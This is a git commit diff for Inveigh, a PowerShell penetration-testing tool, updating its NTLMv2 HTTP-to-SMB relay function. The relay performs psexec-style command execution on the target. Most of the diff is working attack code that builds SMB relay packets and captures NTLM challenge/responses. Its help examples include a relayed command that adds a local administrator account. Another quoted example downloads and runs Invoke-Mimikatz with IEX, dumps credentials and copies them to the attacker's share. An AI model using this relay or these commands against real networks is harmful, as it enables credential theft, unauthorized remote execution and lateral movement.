Sync features with updated versions of Inveigh and Tater

Upgrading collection/inveigh, lateral_movement/inveigh_relay, and
privesc/tater. Adding collection/inveigh_bruteforce.
1.6
Kevin Robertson 2016-03-29 23:55:39 -04:00
parent 8b385928dc
commit 7a3a95f735
8 changed files with 2402 additions and 451 deletions

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -2,49 +2,83 @@ Function Invoke-InveighRelay
{
<#
.SYNOPSIS
Invoke-InveighRelay is the main Inveigh SMB relay function. Invoke-InveighRelay can be used either through Invoke-Inveigh or as a standalone function.
Invoke-InveighRelay performs NTLMv2 HTTP to SMB relay with psexec style command execution.
.DESCRIPTION
Invoke-InveighRelay currently supports NTLMv2 HTTP to SMB relay with psexec style command execution.
HTTP/HTTPS to SMB NTLMv2 relay with granular control
NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS
Granular control of console and file output
Can be executed as either a standalone function or through Invoke-Inveigh
.PARAMETER HTTP
Default = Enabled: Enable/Disable HTTP challenge/response capture.
Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture.
.PARAMETER HTTPS
Default = Disabled: Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443.
Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443.
If the script does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store.
.PARAMETER HTTPSCertAppID
Specify a valid application GUID for use with the ceriticate.
.PARAMETER HTTPSCertThumbprint
Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx.
.PARAMETER Challenge
Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request.
Note that during SMB relay attempts, the challenge will be pulled from the SMB relay target.
.PARAMETER MachineAccounts
Default = Disabled: Enable/Disable showing NTLM challenge/response captures from machine accounts.
.PARAMETER ForceWPADAuth
Default = Enabled: Matches Responder option to Enable/Disable authentication for wpad.dat GET requests. Disabling can prevent browser login prompts.
Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts.
.PARAMETER WPADAuth
Default = NTLM: (Anonymous,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts.
.PARAMETER SMBRelayTarget
IP address of system to target for SMB relay.
.PARAMETER SMBRelayCommand
Command to execute on SMB relay target.
.PARAMETER SMBRelayUsernames
Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.
.PARAMETER SMBRelayAutoDisable
Default = Enable: Automaticaly disable SMB relay after a successful command execution on target.
Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target.
.PARAMETER SMBRelayNetworkTimeout
Default = No Timeout: Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent.
Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent.
.PARAMETER ConsoleOutput
Default = Disabled: Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell.
Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell.
.PARAMETER FileOutput
Default = Disabled: Enable/Disable real time file output.
Default = Disabled: (Y/N) Enable/Disable real time file output.
.PARAMETER StatusOutput
Default = Enabled: Enable/Disable statup and shutdown messages.
Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages.
.PARAMETER OutputStreamOnly
Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams.
Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Relay through a shell that does not return other output streams.
Note that you will not see the various yellow warning messages if enabled.
.PARAMETER OutputDir
Default = Working Directory: Set an output directory for log and capture files.
Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled.
.PARAMETER ShowHelp
Default = Enabled: Enable/Disable the help messages at startup.
Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
.PARAMETER RunTime
(Integer) Set the run time duration in minutes.
.PARAMETER Tool
Default = 0: Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire
Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire
.EXAMPLE
Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Summer2015 /add && net localgroup administrators Dave /add"
Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Spring2016 /add && net localgroup administrators Dave /add"
Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target.
.EXAMPLE
Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "powershell \\192.168.2.50\temp$\powermeup.cmd"
Execute with SMB relay enabled and using Mubix's powermeup.cmd method of launching Invoke-Mimikatz.ps1 and uploading output. In this example, a hidden anonymous share containing Invoke-Mimikatz.ps1 is employed on the Inveigh host system.
@ -52,27 +86,35 @@ Powermeup.cmd contents used for this example:
powershell "IEX (New-Object Net.WebClient).DownloadString('\\192.168.2.50\temp$\Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.2.50\temp$\%COMPUTERNAME%.txt 2>&1"
Original version:
https://github.com/mubix/post-exploitation/blob/master/scripts/mass_mimikatz/powermeup.cmd
.LINK
https://github.com/Kevin-Robertson/Inveigh
#>
# Parameter default values can be modified in this section:
param
(
[parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTPS="N",
[parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="N",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$FileOutput="N",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N",
[parameter(Mandatory=$true)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="",
[parameter(Mandatory=$false)][array]$SMBRelayUsernames,
[parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y",
[parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$MachineAccounts="N",
[parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="",
[parameter(Mandatory=$true)][string]$SMBRelayCommand = "",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y",
[parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][string]$WPADAuth="NTLM",
[parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0",
[parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y"
[parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="",
[parameter(Mandatory=$true)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="",
[parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="",
[parameter(Mandatory=$false)][array]$SMBRelayUsernames="",
[parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="",
[parameter(Mandatory=$false)][int]$RunTime="",
[parameter(Mandatory=$true)][string]$SMBRelayCommand = "",
[parameter(Mandatory=$false)][string]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF",
[parameter(Mandatory=$false)][string]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d",
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
)
if ($invalid_parameter)
@ -122,7 +164,8 @@ if(!$inveigh.running)
$inveigh.log_file_queue = New-Object System.Collections.ArrayList
$inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList
$inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList
$inveigh.certificate_thumbprint = "76a49fd27011cf4311fb6914c904c90a89f3e4b2"
$inveigh.certificate_application_ID = $HTTPSCertAppID
$inveigh.certificate_thumbprint = $HTTPSCertThumbprint
$inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList
$inveigh.console_output = $false
$inveigh.console_input = $true
@ -155,7 +198,7 @@ else
$inveigh.output_stream_only = $false
}
if($Tool -eq 1) # Metasploit Interactive PowerShell
if($Tool -eq 1) # Metasploit Interactive Powershell
{
$inveigh.tool = 1
$inveigh.output_stream_only = $true
@ -181,7 +224,7 @@ else
if(!$inveigh.running)
{
$inveigh.status_queue.add("Inveigh Relay started at $(Get-Date -format 's')")|Out-Null
$inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null
$inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay started")]) |Out-Null
if($HTTP -eq 'y')
{
@ -202,10 +245,13 @@ if(!$inveigh.running)
$certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine")
$certificate_store.Open('ReadWrite')
$certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2
$certificate.Import($PWD.Path + "\inveigh.pfx")
$certificate.Import($PWD.Path + "\Inveigh.pfx")
$certificate_store.Add($certificate)
$certificate_store.Close()
Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null
$netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint
$netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}"
$netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID)
& "netsh" $netsh_arguments > $null
$inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null
}
catch
@ -232,14 +278,7 @@ if(!$inveigh.running)
$inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null
}
if($ForceWPADAuth -eq 'y')
{
$inveigh.status_queue.add("Force WPAD Authentication Enabled")|Out-Null
}
else
{
$inveigh.status_queue.add("Force WPAD Authentication Disabled")|Out-Null
}
$inveigh.status_queue.add("Force WPAD Authentication = $WPADAuth")|Out-Null
if($ConsoleOutput -eq 'y')
{
@ -268,22 +307,29 @@ if(!$inveigh.running)
{
$inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null
}
if($RunTime -eq 1)
{
$inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null
}
elseif($RunTime -gt 1)
{
$inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null
}
}
$inveigh.status_queue.add("SMB Relay Enabled") |Out-Null
$inveigh.status_queue.add("SMB Relay Target = $SMBRelayTarget")|Out-Null
if($SMBRelayUsernames.Count -gt 0)
if($SMBRelayUsernames)
{
$SMBRelayUsernames_output = $SMBRelayUsernames -join ","
if($SMBRelayUsernames.Count -eq 1)
{
$inveigh.status_queue.add("SMB Relay Username = $SMBRelayUsernames_output")|Out-Null
$inveigh.status_queue.add("SMB Relay Username = " + $SMBRelayUsernames -join ",")|Out-Null
}
else
{
$inveigh.status_queue.add("SMB Relay Usernames = $SMBRelayUsernames_output")|Out-Null
$inveigh.status_queue.add("SMB Relay Usernames = " + $SMBRelayUsernames -join ",")|Out-Null
}
}
@ -340,10 +386,10 @@ if($inveigh.status_output)
}
}
$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |select -expand id
$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |Select-Object -expand id
$process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID))
$process_ID = $process_ID -replace "-00-00",""
[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | FOREACH{[CHAR][CONVERT]::toint16($_,16)}
[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[CHAR][CONVERT]::toint16($_,16)}
# Begin ScriptBlocks
@ -376,7 +422,7 @@ $shared_basic_functions_scriptblock =
$string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)])
$string_data = $string_data -replace "-00",""
$string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$string_data = $string_data.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$string_extract = New-Object System.String ($string_data,0,$string_data.Length)
return $string_extract
}
@ -436,13 +482,13 @@ $SMB_relay_challenge_scriptblock =
$SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length)
$SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 34))
$SMB_blob_length = $SMB_blob_length -replace "-00-00",""
$SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 45))
$SMB_byte_count = $SMB_byte_count -replace "-00-00",""
$SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 104))
$SMB_netbios_length = $SMB_netbios_length -replace "-00-00",""
$SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
[array]::Reverse($SMB_netbios_length)
[Byte[]] $SMB_relay_challenge_send = (0x00,0x00)`
@ -509,20 +555,32 @@ $SMB_relay_response_scriptblock =
{
$SMB_relay_response_stream = $SMB_relay_socket.GetStream()
}
$SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 244)
$SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 248)
$SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 252)
$SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length - 256)
$SMB_length_1 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 12))
$SMB_length_1 = $SMB_length_1 -replace "-00-00",""
$SMB_length_1 = $SMB_length_1.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_length_2 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 8))
$SMB_length_2 = $SMB_length_2 -replace "-00-00",""
$SMB_length_2 = $SMB_length_2.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_length_3 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 4))
$SMB_length_3 = $SMB_length_3 -replace "-00-00",""
$SMB_length_3 = $SMB_length_3.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_NTLMSSP_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length))
$SMB_NTLMSSP_length = $SMB_NTLMSSP_length -replace "-00-00",""
$SMB_NTLMSSP_length = $SMB_NTLMSSP_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 16))
$SMB_blob_length = $SMB_blob_length -replace "-00-00",""
$SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 27))
$SMB_byte_count = $SMB_byte_count -replace "-00-00",""
$SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 86))
$SMB_netbios_length = $SMB_netbios_length -replace "-00-00",""
$SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
[array]::Reverse($SMB_length_1)
[array]::Reverse($SMB_length_2)
[array]::Reverse($SMB_length_3)
[array]::Reverse($SMB_NTLMSSP_length)
[array]::Reverse($SMB_netbios_length)
$j = 0
@ -538,17 +596,17 @@ $SMB_relay_response_scriptblock =
+ $SMB_blob_length`
+ (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)`
+ $SMB_byte_count`
+ (0xa1,0x82,0x01)`
+ (0xa1,0x82)`
+ $SMB_length_1`
+ (0x30,0x82,0x01)`
+ (0x30,0x82)`
+ $SMB_length_2`
+ (0xa2,0x82,0x01)`
+ (0xa2,0x82)`
+ $SMB_length_3`
+ (0x04,0x82,0x01)`
+ (0x04,0x82)`
+ $SMB_NTLMSSP_length`
+ $HTTP_request_bytes`
+ (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00)
$SMB_relay_response_stream.write($SMB_relay_response_send, 0, $SMB_relay_response_send.length)
$SMB_relay_response_stream.Flush()
@ -595,17 +653,17 @@ $SMB_relay_execute_scriptblock =
$SMB_relay_failed = $false
$SMB_relay_execute_bytes = New-Object System.Byte[] 1024
$SMB_service_random = [String]::Join("00-", (1..20 | % {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)}))
$SMB_service_random = [String]::Join("00-", (1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)}))
$SMB_service = $SMB_service_random -replace "-00",""
$SMB_service = $SMB_service.Substring(0,$SMB_service.Length-1)
$SMB_service = $SMB_service.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_service = $SMB_service.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length)
$SMB_service_random += '00-00-00'
[Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_referent_ID_bytes = [String](1..4 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
$SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
[Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_referent_ID_bytes = [String](1..4 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
$SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMBRelayCommand = "%COMSPEC% /C `"" + $SMBRelayCommand + "`""
[System.Text.Encoding]::ASCII.GetBytes($SMBRelayCommand) | % { $SMB_relay_command += "{0:X2}-00-" -f $_ }
[System.Text.Encoding]::UTF8.GetBytes($SMBRelayCommand) | ForEach-Object{ $SMB_relay_command += "{0:X2}-00-" -f $_ }
if([bool]($SMBRelayCommand.length%2))
{
@ -616,7 +674,7 @@ $SMB_relay_execute_scriptblock =
$SMB_relay_command += '00-00-00-00'
}
[Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
[Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
$SMB_service_data_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237)
$SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0]
$SMB_service_byte_count_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237 - 63)
@ -885,7 +943,7 @@ $SMB_relay_execute_scriptblock =
# HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener
$HTTP_scriptblock =
{
param ($SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$MachineAccounts,$ForceWPADAuth)
param ($SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$MachineAccounts,$WPADAuth)
Function NTLMChallengeBase64
{
@ -893,19 +951,19 @@ $HTTP_scriptblock =
$HTTP_timestamp = Get-Date
$HTTP_timestamp = $HTTP_timestamp.ToFileTime()
$HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp))
$HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
if($Inveigh.challenge)
{
$HTTP_challenge = $Inveigh.challenge
$HTTP_challenge_bytes = $Inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-')
$HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
}
else
{
$HTTP_challenge_bytes = [String](1..8 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
$HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
$HTTP_challenge = $HTTP_challenge_bytes -replace ' ', ''
$HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
$HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)}
}
$inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) |Out-Null
@ -946,8 +1004,7 @@ $HTTP_scriptblock =
$HTTP_type = "HTTP"
}
if (($inveigh.request.RawUrl -match '/wpad.dat') -and ($ForceWPADAuth -eq 'n'))
if (($inveigh.request.RawUrl -match '/wpad.dat') -and ($WPADAuth -eq 'Anonymous'))
{
$inveigh.response.StatusCode = 200
}
@ -966,6 +1023,9 @@ $HTTP_scriptblock =
if ($HTTP_request_bytes[8] -eq 1)
{
$inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)
$inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)])
if(($inveigh.SMB_relay) -and ($inveigh.SMB_relay_active_step -eq 0) -and ($inveigh.request.RemoteEndpoint.Address -ne $SMBRelayTarget))
{
$inveigh.SMB_relay_active_step = 1
@ -1078,7 +1138,7 @@ $HTTP_scriptblock =
}
}
if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat))
if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat))
{
$inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address
}
@ -1104,7 +1164,7 @@ $HTTP_scriptblock =
}
if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat))
if (($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address) -and (-not $HTTP_NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat))
{
$inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address
}
@ -1146,7 +1206,7 @@ $HTTP_scriptblock =
}
else
{
$inveigh.console_queue.add("NTLMv1 relay not yet supported")
$inveigh.console_queue.add("NTLMv1 SMB relay not yet supported")
$inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")])
$inveigh.SMB_relay_active_step = 0
$SMB_relay_socket.Close()
@ -1191,7 +1251,74 @@ $HTTP_scriptblock =
$HTTP_stream.write($HTTP_buffer, 0, $HTTP_buffer.length)
$HTTP_stream.close()
if(!$inveigh.running -and $inveigh.file_output)
}
$inveigh.HTTP_listener.Stop()
$inveigh.HTTP_listener.Close()
}
$control_relay_scriptblock =
{
param ($RunTime)
if($RunTime)
{
$control_timeout = new-timespan -Minutes $RunTime
$control_stopwatch = [diagnostics.stopwatch]::StartNew()
}
while ($inveigh.relay_running)
{
if($RunTime)
{
if($control_stopwatch.elapsed -ge $control_timeout)
{
if($inveigh.HTTP_listener.IsListening)
{
$inveigh.HTTP_listener.Stop()
$inveigh.HTTP_listener.Close()
}
$inveigh.console_queue.add("Inveigh Relay exited due to run time at $(Get-Date -format 's')")
$inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")])
Start-Sleep -m 5
$inveigh.relay_running = $false
if($inveigh.HTTPS)
{
& "netsh" http delete sslcert ipport=0.0.0.0:443 > $null
try
{
$certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine")
$certificate_store.Open('ReadWrite')
$certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0]
$certificate_store.Remove($certificate)
$certificate_store.Close()
}
catch
{
if($inveigh.status_output)
{
$inveigh.console_queue.add("SSL Certificate Deletion Error - Remove Manually")
}
$inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually")
if($inveigh.file_output)
{
"$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually"| Out-File $Inveigh.log_out_file -Append
}
}
}
$inveigh.HTTP = $false
$inveigh.HTTPS = $false
}
}
if($inveigh.file_output -and (!$inveigh.running -or !$inveigh.bruteforce_running))
{
while($inveigh.log_file_queue.Count -gt 0)
{
@ -1210,13 +1337,17 @@ $HTTP_scriptblock =
$inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append
$inveigh.NTLMv2_file_queue.RemoveRange(0,1)
}
while($inveigh.cleartext_file_queue.Count -gt 0)
{
$inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append
$inveigh.cleartext_file_queue.RemoveRange(0,1)
}
}
Start-Sleep -m 5
}
$inveigh.HTTP_listener.Stop()
$inveigh.HTTP_listener.Close()
}
}
# HTTP/HTTPS Listener Startup Function
Function HTTPListener()
@ -1248,8 +1379,21 @@ Function HTTPListener()
$HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument(
$SMBRelayTarget).AddArgument($SMBRelayCommand).AddArgument($SMBRelayUsernames).AddArgument(
$SMBRelayAutoDisable).AddArgument($SMBRelayNetworkTimeout).AddArgument(
$MachineAccounts).AddArgument($ForceWPADAuth) > $null
$HTTP_handle = $HTTP_powershell.BeginInvoke()
$MachineAccounts).AddArgument($WPADAuth) > $null
$HTTP_powershell.BeginInvoke() > $null
}
# Control Relay Startup Function
Function ControlRelayLoop()
{
$control_relay_runspace = [runspacefactory]::CreateRunspace()
$control_relay_runspace.Open()
$control_relay_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh)
$control_relay_powershell = [powershell]::Create()
$control_relay_powershell.Runspace = $control_relay_runspace
$control_relay_powershell.AddScript($shared_basic_functions_scriptblock) > $null
$control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($RunTime) > $null
$control_relay_powershell.BeginInvoke() > $null
}
# HTTP Server Start
@ -1258,6 +1402,12 @@ if($inveigh.HTTP -or $inveigh.HTTPS)
HTTPListener
}
# Control Relay Loop Start
if($RunTime -or $inveigh.file_output)
{
ControlRelayLoop
}
if(!$inveigh.running -and $inveigh.console_output)
{
@ -1274,33 +1424,31 @@ if(!$inveigh.running -and $inveigh.console_output)
{
switch -wildcard ($inveigh.console_queue[0])
{
"*local administrator*"
"Inveigh *exited *"
{
write-warning $inveigh.console_queue[0]
$inveigh.console_queue.RemoveRange(0,1)
}
"*NTLMv1 challenge/response written*"
"* written to *"
{
if($inveigh.file_output)
{
write-warning $inveigh.console_queue[0]
}
if($inveigh.file_output)
{
write-warning $inveigh.console_queue[0]
}
$inveigh.console_queue.RemoveRange(0,1)
}
"*NTLMv2 challenge/response written*"
{
if($inveigh.file_output)
{
